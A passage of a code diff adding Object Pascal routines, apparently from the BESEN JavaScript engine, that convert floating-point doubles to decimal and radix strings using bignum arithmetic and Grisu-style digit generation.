+ BigitIndex2:=0; + while BigitIndex1>=0 do begin + Chunk1:=BigNum.Bigits[CopyOffset+BigitIndex1]; + Chunk2:=BigNum.Bigits[CopyOffset+BigitIndex2]; + inc(Accumulator,TBigNumDoubleChunk(Chunk1)*Chunk2); + dec(BigitIndex1); + inc(BigitIndex2); + end; + BigNum.Bigits[i]:=Accumulator and BigitMask; + Accumulator:=Accumulator shr BigitSize; + end; + for i:=BigNum.UsedDigits-1 to ProductLength-1 do begin + BigitIndex1:=BigNum.UsedDigits-1; + BigitIndex2:=i-BigitIndex1; + while BigitIndex2<BigNum.UsedDigits do begin + Chunk1:=BigNum.Bigits[CopyOffset+BigitIndex1]; + Chunk2:=BigNum.Bigits[CopyOffset+BigitIndex2]; + inc(Accumulator,TBigNumDoubleChunk(Chunk1)*Chunk2); + dec(BigitIndex1); + inc(BigitIndex2); + end; + BigNum.Bigits[i]:=Accumulator and BigitMask; + Accumulator:=Accumulator shr BigitSize; + end; + Assert(Accumulator=0); + BigNum.UsedDigits:=ProductLength; + inc(BigNum.Exponent,BigNum.Exponent); + BigNumClamp(BigNum); + end; + procedure BigNumAssignPowerUInt16(var BigNum:TBigNum;Base:word;PowerExponent:longint); + var Shifts,BitSize,TmpBase,FinalSize,Mask:longint; + ThisValue:qword; + DelayedMultipliciation:boolean; + begin + Assert(Base<>0); + Assert(PowerExponent>=0); + if PowerExponent=0 then begin + BigNumAssignUInt16(BigNum,1); + end else begin + BigNumZero(BigNum); + Shifts:=0; + while (Base and 1)=0 do begin + Base:=Base shr 1; + inc(Shifts); + end; + BitSize:=0; + TmpBase:=Base; + while TmpBase<>0 do begin + TmpBase:=TmpBase shr 1; + inc(BitSize); + end; + FinalSize:=BitSize*PowerExponent; + BigNumEnsureCapacity(BigNum,FinalSize); + Mask:=1; + while Mask<=PowerExponent do begin + inc(Mask,Mask); + end; + Mask:=Mask shr 2; + ThisValue:=Base; + DelayedMultipliciation:=false; + while (Mask<>0) and (ThisValue<=$ffffffff) do begin + ThisValue:=ThisValue*ThisValue; + if (PowerExponent and Mask)<>0 then begin + if (ThisValue and not ((qword(1) shl (64-BitSize))-1))=0 then begin + ThisValue:=ThisValue*Base; + end else begin + DelayedMultipliciation:=true; + end; + end; + Mask:=Mask shr 1; + end; + BigNumAssignUInt64(BigNum,ThisValue); + if DelayedMultipliciation then begin + BigNumMultiplyByUInt32(BigNum,Base); + end; + while Mask<>0 do begin + BigNumSquare(BigNum); + if (PowerExponent and Mask)<>0 then begin + BigNumMultiplyByUInt32(BigNum,Base); + end; + Mask:=Mask shr 1; + end; + BigNumShiftLeft(BigNum,Shifts*PowerExponent); + end; + end; + function BigNumDivideModuloIntBigNum(var BigNum:TBigNum;const Other:TBigNum):word; + var ThisBigit,OtherBigit:TBigNumChunk; + Quotient,DivisionEstimate:longword; + begin + Assert(BigNumIsClamped(BigNum)); + Assert(BigNumIsClamped(Other)); + Assert(Other.UsedDigits>0); + result:=0; + if (BigNum.UsedDigits+BigNum.Exponent)>=(Other.UsedDigits+Other.Exponent) then begin + BigNumAlign(BigNum,Other); + while (BigNum.UsedDigits+BigNum.Exponent)>(Other.UsedDigits+Other.Exponent) do begin + Assert(Other.Bigits[Other.UsedDigits-1]>=((1 shl BigitSize) div 16)); + inc(result,BigNum.Bigits[BigNum.UsedDigits-1]); + BigNumSubtractTimes(BigNum,Other,BigNum.Bigits[BigNum.UsedDigits-1]); + end; + Assert((BigNum.UsedDigits+BigNum.Exponent)=(Other.UsedDigits+Other.Exponent)); + ThisBigit:=BigNum.Bigits[BigNum.UsedDigits-1]; + OtherBigit:=Other.Bigits[Other.UsedDigits-1]; + if Other.UsedDigits=1 then begin + Quotient:=ThisBigit div OtherBigit; + BigNum.Bigits[BigNum.UsedDigits-1]:=ThisBigit-(OtherBigit*Quotient); + inc(result,Quotient); + BigNumClamp(BigNum); + end else begin + DivisionEstimate:=ThisBigit div (OtherBigit+1); + inc(result,DivisionEstimate); + BigNumSubtractTimes(BigNum,Other,DivisionEstimate); + if (OtherBigit*(DivisionEstimate+1))<=ThisBigit then begin + while BigNumCompare(Other,BigNum)<=0 do begin + BigNumSubtractBigNum(BigNum,Other); + inc(result); + end; + end; + end; + end; + end; + function BigNumDivideModuloInt(var BigNum:TBigNum;Divisor:word):word; + var q0,r0,q1,r1:qword; + i:integer; + begin + Assert(BigNumIsClamped(BigNum)); + q0:=0; + for i:=BigNum.UsedDigits-1 downto 1 do begin + q1:=(BigNum.Bigits[i] div Divisor)+q0; + r1:=((BigNum.Bigits[i] mod Divisor) shl 16)+(BigNum.Bigits[i-1] shr 16); + q0:=((r1 div Divisor) shl 16); + r0:=r1 mod Divisor; + BigNum.Bigits[i]:=q1; + BigNum.Bigits[i-1]:=(r0 shl 16)+(BigNum.Bigits[i-1] and $ffff); + end; + q1:=(BigNum.Bigits[0] div Divisor)+q0; + r1:=BigNum.Bigits[0] mod Divisor; + BigNum.Bigits[0]:=q1; + result:=r1; + BigNumClamp(BigNum); + end; + function NormalizedExponent(SignificantMantissa:qword;Exponent:longint):longint; + begin + Assert(SignificantMantissa<>0); + while (SignificantMantissa and qword($0010000000000000))=0 do begin + SignificantMantissa:=SignificantMantissa shl 1; + dec(Exponent); + end; + result:=Exponent; + end; + function GetEstimatePower(Exponent:longint):longint; + begin + result:=longint(int64(((Exponent+52)*int64(1292913986))-$1000) shr 32)+1; // result:=System.Trunc(Math.Ceil(((Exponent+52)*0.30102999566398114)-(1e-10))); + end; + function GetEstimatePowerOf(Exponent,Radix:longint):longint; + begin + result:=longint(int64(((Exponent+52)*BESENDoubleToStringEstimatePowerFactorTable[Radix])-$1000) shr 32)+1; // result:=System.Trunc(Math.Ceil(((Exponent+52)*(ln(2)/ln(Radix)))-(1e-10))); + end; + procedure GenerateShortestDigits(var Numerator,Denominator,DeltaMinus,DeltaPlus:TBigNum;IsEven:boolean;var Buffer:{$ifdef BESENSingleStringType}TBESENSTRING{$else}TBESENANSISTRING{$endif};var Len:longint); + var Digit,Compare:longint; + InDeltaRoomMinus,InDeltaRoomPlus:boolean; + begin + Len:=0; + while true do begin + Digit:=BigNumDivideModuloIntBigNum(Numerator,Denominator); + Assert((Digit>=0) and (Digit<=9)); + inc(Len); + if Len>=length(Buffer) then begin + SetLength(Buffer,Len*2); + end; + Buffer[Len]:={$ifdef BESENSingleStringType}DigitChars[Digit]{$else}AnsiChar(byte(byte(AnsiChar('0'))+Digit)){$endif}; + if IsEven then begin + InDeltaRoomMinus:=BigNumCompare(Numerator,DeltaMinus)<=0; + end else begin + InDeltaRoomMinus:=BigNumCompare(Numerator,DeltaMinus)<0; + end; + if IsEven then begin + InDeltaRoomPlus:=BigNumPlusCompare(Numerator,DeltaPlus,Denominator)>=0; + end else begin + InDeltaRoomPlus:=BigNumPlusCompare(Numerator,DeltaPlus,Denominator)>0; + end; + if (not InDeltaRoomMinus) and (not InDeltaRoomPlus) then begin + BigNumMultiplyByUInt32(Numerator,10); + BigNumMultiplyByUInt32(DeltaMinus,10); + BigNumMultiplyByUInt32(DeltaPlus,10); + end else if InDeltaRoomMinus and InDeltaRoomPlus then begin + Compare:=BigNumPlusCompare(Numerator,Numerator,Denominator); + if Compare<0 then begin + end else if Compare>0 then begin + Assert(Buffer[Len]<>'9'); + inc(Buffer[Len]); + end else begin + if ((ord(Buffer[Len])-ord('0')) and 1)<>0 then begin + Assert(Buffer[Len]<>'9'); + inc(Buffer[Len]); + end; + end; + exit; + end else if InDeltaRoomMinus then begin + exit; + end else begin + Assert(Buffer[Len]<>'9'); + inc(Buffer[Len]); + exit; + end; + end; + end; + procedure GenerateCountedDigits(Count:longint;var DecimalPoint:longint;var Numerator,Denominator:TBigNum;var Buffer:{$ifdef BESENSingleStringType}TBESENSTRING{$else}TBESENANSISTRING{$endif};var Len:longint); + var i,Digit:longint; + begin + Assert(Count>=0); + for i:=1 to Count-1 do begin + Digit:=BigNumDivideModuloIntBigNum(Numerator,Denominator); + Assert((Digit>=0) and (Digit<=9)); + inc(Len); + if Len>=length(Buffer) then begin + SetLength(Buffer,Len*2); + end; + Buffer[Len]:={$ifdef BESENSingleStringType}DigitChars[Digit]{$else}AnsiChar(byte(byte(AnsiChar('0'))+Digit)){$endif}; + BigNumMultiplyByUInt32(Numerator,10); + end; + Digit:=BigNumDivideModuloIntBigNum(Numerator,Denominator); + if BigNumPlusCompare(Numerator,Numerator,Denominator)>=0 then begin + inc(Digit); + end; + inc(Len); + if Len>=length(Buffer) then begin + SetLength(Buffer,Len*2); + end; + Buffer[Len]:={$ifdef BESENSingleStringType}DigitChars[Digit]{$else}AnsiChar(byte(byte(AnsiChar('0'))+Digit)){$endif}; + for i:=Len downto 2 do begin + if ord(Buffer[i])<>(ord('0')+10) then begin + break; + end; + Buffer[i]:='0'; + inc(Buffer[i-1]); + end; + if ord(Buffer[1])=(ord('0')+10) then begin + Buffer[1]:='1'; + inc(DecimalPoint); + end; + end; + procedure GenerateFixedDigits(RequestedDigits:longint;var DecimalPoint:longint;var Numerator,Denominator:TBigNum;var Buffer:{$ifdef BESENSingleStringType}TBESENSTRING{$else}TBESENANSISTRING{$endif};var Len:longint); + begin + if (-DecimalPoint)>RequestedDigits then begin + DecimalPoint:=-RequestedDigits; + Len:=0; + end else if (-DecimalPoint)=RequestedDigits then begin + Assert(DecimalPoint=(-RequestedDigits)); + BigNumMultiplyByUInt32(Denominator,10); + if BigNumPlusCompare(Numerator,Numerator,Denominator)>=0 then begin + Buffer:='1'; + Len:=1; + end else begin + Len:=0; + end; + end else begin + GenerateCountedDigits(DecimalPoint+RequestedDigits,DecimalPoint,Numerator,Denominator,Buffer,Len); + end; + end; + procedure FixupMultiplyBase(EstimatedPower:longint;IsEven:boolean;var DecimalPoint:longint;var Numerator,Denominator,DeltaMinus,DeltaPlus:TBigNum;Base:longint); + var InRange:boolean; + begin + if IsEven then begin + InRange:=BigNumPlusCompare(Numerator,DeltaPlus,Denominator)>=0; + end else begin + InRange:=BigNumPlusCompare(Numerator,DeltaPlus,Denominator)>0; + end; + if InRange then begin + DecimalPoint:=EstimatedPower+1; + end else begin + DecimalPoint:=EstimatedPower; + BigNumMultiplyByUInt32(Numerator,Base); + if BigNumCompare(DeltaMinus,DeltaPlus)=0 then begin + BigNumMultiplyByUInt32(DeltaMinus,Base); + BigNumAssignBigNum(DeltaPlus,DeltaMinus); + end else begin + BigNumMultiplyByUInt32(DeltaMinus,Base); + BigNumMultiplyByUInt32(DeltaPlus,Base); + end; + end; + end; + procedure InitialScaledStartValuesPositiveExponent(Casted,SignificantMantissa:qword;Exponent:longint;EstimatedPower:longint;NeedBoundaryDeltas:boolean;var Numerator,Denominator,DeltaMinus,DeltaPlus:TBigNum;Base:longint); + begin + Assert(EstimatedPower>=0); + + BigNumAssignUInt64(Numerator,SignificantMantissa); + BigNumShiftLeft(Numerator,Exponent); + BigNumAssignPowerUInt16(Denominator,Base,EstimatedPower); + + if NeedBoundaryDeltas then begin + BigNumShiftLeft(Numerator,1); + BigNumShiftLeft(Denominator,1); + + BigNumAssignUInt16(DeltaPlus,1); + BigNumShiftLeft(DeltaPlus,Exponent); + + BigNumAssignUInt16(DeltaMinus,1); + BigNumShiftLeft(DeltaMinus,Exponent); + + if (Casted and qword($000fffffffffffff))=0 then begin + BigNumShiftLeft(Numerator,1); + BigNumShiftLeft(Denominator,1); + BigNumShiftLeft(DeltaPlus,1); + end; + end; + end; + procedure InitialScaledStartValuesNegativeExponentPositivePower(Casted,SignificantMantissa:qword;Exponent:longint;EstimatedPower:longint;NeedBoundaryDeltas:boolean;var Numerator,Denominator,DeltaMinus,DeltaPlus:TBigNum;Base:longint); + begin + BigNumAssignUInt64(Numerator,SignificantMantissa); + BigNumAssignPowerUInt16(Denominator,Base,EstimatedPower); + BigNumShiftLeft(Denominator,-Exponent); + + if NeedBoundaryDeltas then begin + BigNumShiftLeft(Numerator,1); + BigNumShiftLeft(Denominator,1); + + BigNumAssignUInt16(DeltaPlus,1); + BigNumAssignUInt16(DeltaMinus,1); + + if (Casted and qword($000fffffffffffff))=0 then begin + BigNumShiftLeft(Numerator,1); + BigNumShiftLeft(Denominator,1); + BigNumShiftLeft(DeltaPlus,1); + end; + end; + end; + procedure InitialScaledStartValuesNegativeExponentNegativePower(Casted,SignificantMantissa:qword;Exponent:longint;EstimatedPower:longint;NeedBoundaryDeltas:boolean;var Numerator,Denominator,DeltaMinus,DeltaPlus:TBigNum;Base:longint); + begin + BigNumAssignPowerUInt16(Numerator,Base,-EstimatedPower); + if NeedBoundaryDeltas then begin + BigNumAssignBigNum(DeltaPlus,Numerator); + BigNumAssignBigNum(DeltaMinus,Numerator); + end; + BigNumMultiplyByUInt64(Numerator,SignificantMantissa); + + BigNumAssignUInt16(Denominator,1); + BigNumShiftLeft(Denominator,-Exponent); + + if NeedBoundaryDeltas then begin + BigNumShiftLeft(Numerator,1); + BigNumShiftLeft(Denominator,1); + if ((Casted and qword($000fffffffffffff))=0) and ((Casted and qword($7ff0000000000000))<>qword($0010000000000000)) then begin + BigNumShiftLeft(Numerator,1); + BigNumShiftLeft(Denominator,1); + BigNumShiftLeft(DeltaPlus,1); + end; + end; + end; + procedure InitialScaledStartValues(Casted,SignificantMantissa:qword;Exponent:longint;EstimatedPower:longint;NeedBoundaryDeltas:boolean;var Numerator,Denominator,DeltaMinus,DeltaPlus:TBigNum;Base:longint); + begin + if Exponent>=0 then begin + InitialScaledStartValuesPositiveExponent(Casted,SignificantMantissa,Exponent,EstimatedPower,NeedBoundaryDeltas,Numerator,Denominator,DeltaMinus,DeltaPlus,Base); + end else if EstimatedPower>=0 then begin + InitialScaledStartValuesNegativeExponentPositivePower(Casted,SignificantMantissa,Exponent,EstimatedPower,NeedBoundaryDeltas,Numerator,Denominator,DeltaMinus,DeltaPlus,Base); + end else begin + InitialScaledStartValuesNegativeExponentNegativePower(Casted,SignificantMantissa,Exponent,EstimatedPower,NeedBoundaryDeltas,Numerator,Denominator,DeltaMinus,DeltaPlus,Base); + end; + end; + procedure DoubleToDecimal(Value:double;Mode,RequestedDigits:longint;var Buffer:{$ifdef BESENSingleStringType}TBESENSTRING{$else}TBESENANSISTRING{$endif};var Len,DecimalPoint:longint); + var Casted:qword absolute Value; + SignificantMantissa:qword; + Exponent,EstimatedPower:longint; + Numerator,Denominator,DeltaMinus,DeltaPlus:TBigNum; + IsEven,NeedBoundaryDeltas:boolean; + begin + Assert(Value>0); + Assert(BESENIsFinite(Value)); + SplitDouble(Value,SignificantMantissa,Exponent); + IsEven:=(SignificantMantissa and 1)=0; + EstimatedPower:=GetEstimatePower(NormalizedExponent(SignificantMantissa,Exponent)); + if (Mode=mFIXED) and (((-EstimatedPower)-1)>RequestedDigits) then begin + Buffer:=''; + Len:=0; + DecimalPoint:=-RequestedDigits; + end else begin + Assert(BigNumMaxSignificantMantissaBits>=(324*4)); + NeedBoundaryDeltas:=Mode=mSHORTEST; + InitialScaledStartValues(Casted,SignificantMantissa,Exponent,EstimatedPower,NeedBoundaryDeltas,Numerator,Denominator,DeltaMinus,DeltaPlus,10); + FixupMultiplyBase(EstimatedPower,IsEven,DecimalPoint,Numerator,Denominator,DeltaMinus,DeltaPlus,10); + case Mode of + mSHORTEST:begin + GenerateShortestDigits(Numerator,Denominator,DeltaMinus,DeltaPlus,IsEven,Buffer,Len); + end; + mFIXED:begin + GenerateFixedDigits(RequestedDigits,DecimalPoint,Numerator,Denominator,Buffer,Len); + end; + else {mPRECISION:}begin + GenerateCountedDigits(RequestedDigits,DecimalPoint,Numerator,Denominator,Buffer,Len); + end; + end; + end; + end; + procedure GenerateRadixDigits(var Numerator,Denominator,DeltaMinus,DeltaPlus:TBigNum;IsEven:boolean;var Buffer:{$ifdef BESENSingleStringType}TBESENSTRING{$else}TBESENANSISTRING{$endif};var Len:longint;Radix:longint); + const Base36:array[0..36] of {$ifdef BESENSingleStringType}char{$else}ansichar{$endif}='0123456789abcdefghijklmnopqrstuvwxyz{'; + var Digit,Compare,MaxDigit:longint; + InDeltaRoomMinus,InDeltaRoomPlus:boolean; + function ValueOf(c:{$ifdef BESENSingleStringType}char{$else}ansichar{$endif}):longint; + begin + case c of + '0'..'9':begin + result:=ord(c)-ord('0'); + end; + else begin + result:=(ord(c)-ord('a'))+$a; + end; + end; + end; + begin + Len:=0; + MaxDigit:=Radix-1; + while true do begin + Digit:=BigNumDivideModuloIntBigNum(Numerator,Denominator); + Assert((Digit>=0) and (Digit<=MaxDigit)); + inc(Len); + if Len>=length(Buffer) then begin + SetLength(Buffer,Len*2); + end; + Buffer[Len]:=Base36[Digit]; + BigNumClamp(Numerator); + BigNumClamp(DeltaMinus); + BigNumClamp(DeltaPlus); + if IsEven then begin + InDeltaRoomMinus:=BigNumCompare(Numerator,DeltaMinus)<=0; + end else begin + InDeltaRoomMinus:=BigNumCompare(Numerator,DeltaMinus)<0; + end; + if IsEven then begin + InDeltaRoomPlus:=BigNumPlusCompare(Numerator,DeltaPlus,Denominator)>=0; + end else begin + InDeltaRoomPlus:=BigNumPlusCompare(Numerator,DeltaPlus,Denominator)>0; + end; + if (not InDeltaRoomMinus) and (not InDeltaRoomPlus) then begin + BigNumMultiplyByUInt32(Numerator,Radix); + BigNumMultiplyByUInt32(DeltaMinus,Radix); + BigNumMultiplyByUInt32(DeltaPlus,Radix); + end else if InDeltaRoomMinus and InDeltaRoomPlus then begin + Compare:=BigNumPlusCompare(Numerator,Numerator,Denominator); + if Compare<0 then begin + end else if Compare>0 then begin + Assert(ValueOf(Buffer[Len])<>MaxDigit); + Buffer[Len]:=Base36[ValueOf(Buffer[Len])+1]; + end else begin + if (ValueOf(Buffer[Len]) and 1)<>0 then begin + Assert(ValueOf(Buffer[Len])<>MaxDigit); + Buffer[Len]:=Base36[ValueOf(Buffer[Len])+1]; + end; + end; + exit; + end else if InDeltaRoomMinus then begin + exit; + end else begin + Assert(ValueOf(Buffer[Len])<>MaxDigit); + Buffer[Len]:=Base36[ValueOf(Buffer[Len])+1]; + exit; + end; + end; + end; + procedure DoubleToRadix(Value:double;Radix:longint;var Buffer:{$ifdef BESENSingleStringType}TBESENSTRING{$else}TBESENANSISTRING{$endif};var Len,DecimalPoint:longint); + var Casted:qword absolute Value; + SignificantMantissa:qword; + Exponent,EstimatedPower:longint; + Numerator,Denominator,DeltaMinus,DeltaPlus:TBigNum; + IsEven,NeedBoundaryDeltas:boolean; + begin + Assert(Value>0); + Assert(BESENIsFinite(Value)); + SplitDouble(Value,SignificantMantissa,Exponent); + IsEven:=(SignificantMantissa and 1)=0; + EstimatedPower:=GetEstimatePowerOf(NormalizedExponent(SignificantMantissa,Exponent),Radix); + Assert(BigNumMaxSignificantMantissaBits>=(324*4)); + NeedBoundaryDeltas:=true; + InitialScaledStartValues(Casted,SignificantMantissa,Exponent,EstimatedPower,NeedBoundaryDeltas,Numerator,Denominator,DeltaMinus,DeltaPlus,Radix); + FixupMultiplyBase(EstimatedPower,IsEven,DecimalPoint,Numerator,Denominator,DeltaMinus,DeltaPlus,Radix); + GenerateRadixDigits(Numerator,Denominator,DeltaMinus,DeltaPlus,IsEven,Buffer,Len,Radix); + end; + procedure FastDoubleToRadix(v:double;Radix:longint;var Buffer:{$ifdef BESENSingleStringType}TBESENSTRING{$else}TBESENANSISTRING{$endif};var Len,DecimalPoint:longint); + const Base36:array[0..35] of {$ifdef BESENSingleStringType}char{$else}ansichar{$endif}='0123456789abcdefghijklmnopqrstuvwxyz'; +{$ifndef BESENNoFPU} + DtoAFPUExceptionMask:TFPUExceptionMask=[exInvalidOp,exDenormalized,exZeroDivide,exOverflow,exUnderflow,exPrecision]; + DtoAFPUPrecisionMode:TFPUPrecisionMode=pmDOUBLE; + DtoAFPURoundingMode:TFPURoundingMode=rmNEAREST; +{$endif} + var IntPart,FracPart,Old,Epsilon:double; + Digit,i,j:longint; + TempBuffer:{$ifdef BESENSingleStringType}TBESENSTRING{$else}TBESENANSISTRING{$endif}; +{$ifndef BESENNoFPU} + OldFPUExceptionMask:TFPUExceptionMask; + OldFPUPrecisionMode:TFPUPrecisionMode; + OldFPURoundingMode:TFPURoundingMode; +{$endif} + IntPart64:int64; + begin + if (Radix<2) or (Radix>36) then begin + result:=''; + end else begin +{$ifndef BESENNoFPU} + OldFPUExceptionMask:=GetExceptionMask; + OldFPUPrecisionMode:=GetPrecisionMode; + OldFPURoundingMode:=GetRoundMode; +{$endif} + try +{$ifndef BESENNoFPU} + if OldFPUExceptionMask<>DtoAFPUExceptionMask then begin + SetExceptionMask(DtoAFPUExceptionMask); + end; + if OldFPUPrecisionMode<>DtoAFPUPrecisionMode then begin + SetPrecisionMode(DtoAFPUPrecisionMode); + end; + if OldFPURoundingMode<>DtoAFPURoundingMode then begin + SetRoundMode(DtoAFPURoundingMode); + end; +{$endif} + try + TempBuffer:=''; + IntPart:=System.Int(v); + FracPart:=System.Frac(v); + if IntPart=0 then begin + result:='0'; + end else begin + if IntPart<4294967295.0 then begin + IntPart64:=trunc(IntPart); + while IntPart64>0 do begin + Digit:=IntPart64 mod Radix; + Assert((Digit>=0) and (Digit<Radix)); + IntPart64:=IntPart64 div Radix; + inc(Len); + if Len>=length(TempBuffer) then begin + SetLength(TempBuffer,Len*2); + end; + TempBuffer[Len]:=Base36[Digit]; + end; + end else begin + while IntPart>0 do begin + Old:=IntPart; + IntPart:=System.Int(IntPart/Radix); + Digit:=trunc(Old-(IntPart*Radix)); + Assert((Digit>=0) and (Digit<Radix)); + inc(Len); + if Len>=length(TempBuffer) then begin + SetLength(TempBuffer,Len*2); + end; + TempBuffer[Len]:=Base36[Digit]; + end; + end; + SetLength(Buffer,Len); + j:=1; + for i:=Len downto 1 do begin + Buffer[j]:=TempBuffer[i]; + inc(j); + end; + end; + if FracPart<>0 then begin + inc(Len); + if Len>=length(Buffer) then begin + SetLength(Buffer,Len*2); + end; + Buffer[Len]:='.'; + Epsilon:=0.001/Radix; + while (FracPart>=Epsilon) and (Len<32) do begin + FracPart:=FracPart*Radix; + Digit:=trunc(FracPart); + FracPart:=System.Frac(FracPart); + Assert((Digit>=0) and (Digit<Radix)); + inc(Len); + if Len>=length(Buffer) then begin + SetLength(Buffer,Len*2); + end; + Buffer[Len]:=Base36[Digit]; + end; + end; + finally + TempBuffer:=''; + end; + finally +{$ifndef BESENNoFPU} + if OldFPUExceptionMask<>DtoAFPUExceptionMask then begin + SetExceptionMask(OldFPUExceptionMask); + end; + if OldFPUPrecisionMode<>DtoAFPUPrecisionMode then begin + SetPrecisionMode(OldFPUPrecisionMode); + end; + if OldFPURoundingMode<>DtoAFPURoundingMode then begin + SetRoundMode(OldFPURoundingMode); + end; +{$endif} + end; + end; + end; + function GetCachedPowerForBinaryExponentRange(MinExponent,MaxExponent:longint;var Power:TDoubleValue;var DecimalExponent:longint):boolean; + var Index:longint; + begin + result:=false; + if (low(BESENDoubleToStringPowerOfTenBinaryExponentTable)<=MinExponent) and (MinExponent<=high(BESENDoubleToStringPowerOfTenBinaryExponentTable)) then begin + Index:=BESENDoubleToStringPowerOfTenBinaryExponentTable[MinExponent]; + if ((Index>=0) and (Index<length(BESENDoubleToStringPowerOfTenTable))) and ((MinExponent<=BESENDoubleToStringPowerOfTenTable[Index,1]) and (BESENDoubleToStringPowerOfTenTable[Index,1]<=MaxExponent)) then begin + Power.SignificantMantissa:=BESENDoubleToStringPowerOfTenTable[Index,0]; + Power.Exponent:=BESENDoubleToStringPowerOfTenTable[Index,1]; + DecimalExponent:=BESENDoubleToStringPowerOfTenTable[Index,2]; + result:=true; + end; + end; + end; + function GetCachedPowerForDecimalExponent(RequestedExponent:longint;var Power:TDoubleValue;var FoundExponent:longint):boolean; + var Index:longint; + begin + result:=false; + if (low(BESENDoubleToStringPowerOfTenDecimalExponentTable)<=RequestedExponent) and (RequestedExponent<=high(BESENDoubleToStringPowerOfTenDecimalExponentTable)) then begin + Index:=BESENDoubleToStringPowerOfTenDecimalExponentTable[RequestedExponent]; + if (Index>=0) and (Index<length(BESENDoubleToStringPowerOfTenTable)) then begin + Power.SignificantMantissa:=BESENDoubleToStringPowerOfTenTable[Index,0]; + Power.Exponent:=BESENDoubleToStringPowerOfTenTable[Index,1]; + FoundExponent:=BESENDoubleToStringPowerOfTenTable[Index,2]; + result:=true; + end; + end; + end; + function RoundWeed(var Buffer:{$ifdef BESENSingleStringType}TBESENSTRING{$else}TBESENANSISTRING{$endif};Len:longint;DistanceTooHighW,UnsafeInterval,Rest,TenCapacity,UnitValue:qword):boolean; + var SmallDistance,BigDistance:qword; + begin + SmallDistance:=DistanceTooHighW-UnitValue; + BigDistance:=DistanceTooHighW+UnitValue; + Assert(QWordLessOrEqual(Rest,UnsafeInterval)); + while (QWordLess(Rest,SmallDistance) and (QWordGreaterOrEqual(UnsafeInterval-Rest,TenCapacity))) and (QWordLess(Rest+TenCapacity,SmallDistance) or QWordGreaterOrEqual(SmallDistance-Rest,((Rest+TenCapacity)-SmallDistance))) do begin + dec(Buffer[Len]); + inc(Rest,TenCapacity); + end; + if ((QWordLess(Rest,BigDistance) and QWordGreaterOrEqual(UnsafeInterval-Rest,TenCapacity)) and (QWordLess(Rest+TenCapacity,BigDistance) or QWordGreater(BigDistance-Rest,((Rest+TenCapacity)-BigDistance)))) then begin + result:=false; + end else begin + result:=(QWordLessOrEqual(2*UnitValue,Rest) and QWordLessOrEqual(Rest,UnsafeInterval-(4*UnitValue))); + end; + end; + function RoundWeedCounted(var Buffer:{$ifdef BESENSingleStringType}TBESENSTRING{$else}TBESENANSISTRING{$endif};Len:longint;Rest,TenCapacity,UnitValue:qword;var Capacity:longint):boolean; + var i:longint; + begin + Assert(QWordLess(Rest,TenCapacity)); + result:=false; + if QWordGreater(TenCapacity-UnitValue,UnitValue) then begin + result:=QWordGreater(TenCapacity-Rest,Rest) and QWordGreaterOrEqual(TenCapacity-(2*Rest),2*UnitValue); + if not result then begin + result:=QWordGreater(Rest,UnitValue) and QWordLessOrEqual(TenCapacity-(Rest-UnitValue),Rest-UnitValue); + if result then begin + inc(Buffer[Len]); + for i:=Len downto 2 do begin + if ord(Buffer[i])<>(ord('0')+10) then begin + break; + end; + Buffer[i]:='0'; + inc(Buffer[i-1]); + end; + end; + if ord(Buffer[1])=(ord('0')+10) then begin + Buffer[1]:='1'; + inc(Capacity); + end; + end; + end; + end; + function BiggestPowerTen(Number:longword;NumberBits:longint;var Power:longword;var Exponent:longint):boolean; + label c1,c2,c3,c4,c5,c6,c7,c8,c9,c10,c11; + begin + result:=true; + case NumberBits of + 30,31,32:begin + c1: + if 1000000000<=Number then begin + Power:=1000000000; + Exponent:=9; + end else begin + goto c2; + end; + end; + 27,28,29:begin + c2: + if 100000000<=Number then begin + Power:=100000000; + Exponent:=8; + end else begin + goto c3; + end; + end; + 24,25,26:begin + c3: + if 10000000<=Number then begin + Power:=10000000; + Exponent:=7; + end else begin + goto c4; + end; + end; + 20,21,22,23:begin + c4: + if 1000000<=Number then begin + Power:=1000000; + Exponent:=6; + end else begin + goto c5; + end; + end; + 17,18,19:begin + c5: + if 100000<=Number then begin + Power:=100000; + Exponent:=5; + end else begin + goto c6; + end; + end; + 14,15,16:begin + c6: + if 10000<=Number then begin + Power:=10000; + Exponent:=4; + end else begin + goto c7; + end; + end; + 10,11,12,13:begin + c7: + if 1000<=Number then begin + Power:=1000; + Exponent:=3; + end else begin + goto c8; + end; + end; + 7,8,9:begin + c8: + if 100<=Number then begin + Power:=100; + Exponent:=2; + end else begin + goto c9; + end; + end; + 4,5,6:begin + c9: + if 10<=Number then begin + Power:=10; + Exponent:=1; + end else begin + goto c10; + end; + end; + 1,2,3:begin + c10: + if 1<=Number then begin + Power:=1; + Exponent:=0; + end else begin + goto c11; + end; + end; + 0:begin + c11: + Power:=0; + Exponent:=-1; + end; + else begin + Power:=0; + Exponent:=0; + result:=false; + end; + end; + end; + function DigitGen(Low,w,High:TDoubleValue;var Buffer:{$ifdef BESENSingleStringType}TBESENSTRING{$else}TBESENANSISTRING{$endif};var Len,Capacity:longint):boolean; + var UnitValue,Fractionals,Rest:qword; + TooLow,TooHigh,UnsafeInterval,One:TDoubleValue; + Integrals,Divisor,Digit:longword; + DivisorExponent:longint; + begin + result:=false; + if ((Low.Exponent=w.Exponent) and (w.Exponent=High.Exponent)) and (QWordLessOrEqual(Low.SignificantMantissa+1,High.SignificantMantissa-1) and + ((MinimalTargetExponent<=w.Exponent) and (w.Exponent<=MaximalTargetExponent))) then begin + UnitValue:=1; + TooLow.SignificantMantissa:=Low.SignificantMantissa-UnitValue; + TooLow.Exponent:=Low.Exponent; + TooHigh.SignificantMantissa:=High.SignificantMantissa+UnitValue; + TooHigh.Exponent:=High.Exponent; + UnsafeInterval:=DoubleValueMinus(TooHigh,TooLow); + One.SignificantMantissa:=qword(1) shl (-w.Exponent); + One.Exponent:=w.Exponent; + Integrals:=TooHigh.SignificantMantissa shr (-One.Exponent); + Fractionals:=TooHigh.SignificantMantissa and (One.SignificantMantissa-1); + Divisor:=0; + DivisorExponent:=0; + if BiggestPowerTen(Integrals,SignificantMantissaSize-(-One.Exponent),Divisor,DivisorExponent) then begin + Capacity:=DivisorExponent+1; + Len:=0; + while Capacity>0 do begin + Digit:=Integrals div Divisor; + Integrals:=Integrals mod Divisor; + inc(Len); + if Len>=length(Buffer) then begin + SetLength(Buffer,Len*2); + end; + Buffer[Len]:={$ifdef BESENSingleStringType}DigitChars[Digit]{$else}AnsiChar(byte(byte(AnsiChar('0'))+Digit)){$endif}; + dec(Capacity); + Rest:=qword(qword(Integrals) shl (-One.Exponent))+Fractionals; + if QWordLess(Rest,UnsafeInterval.SignificantMantissa) then begin + 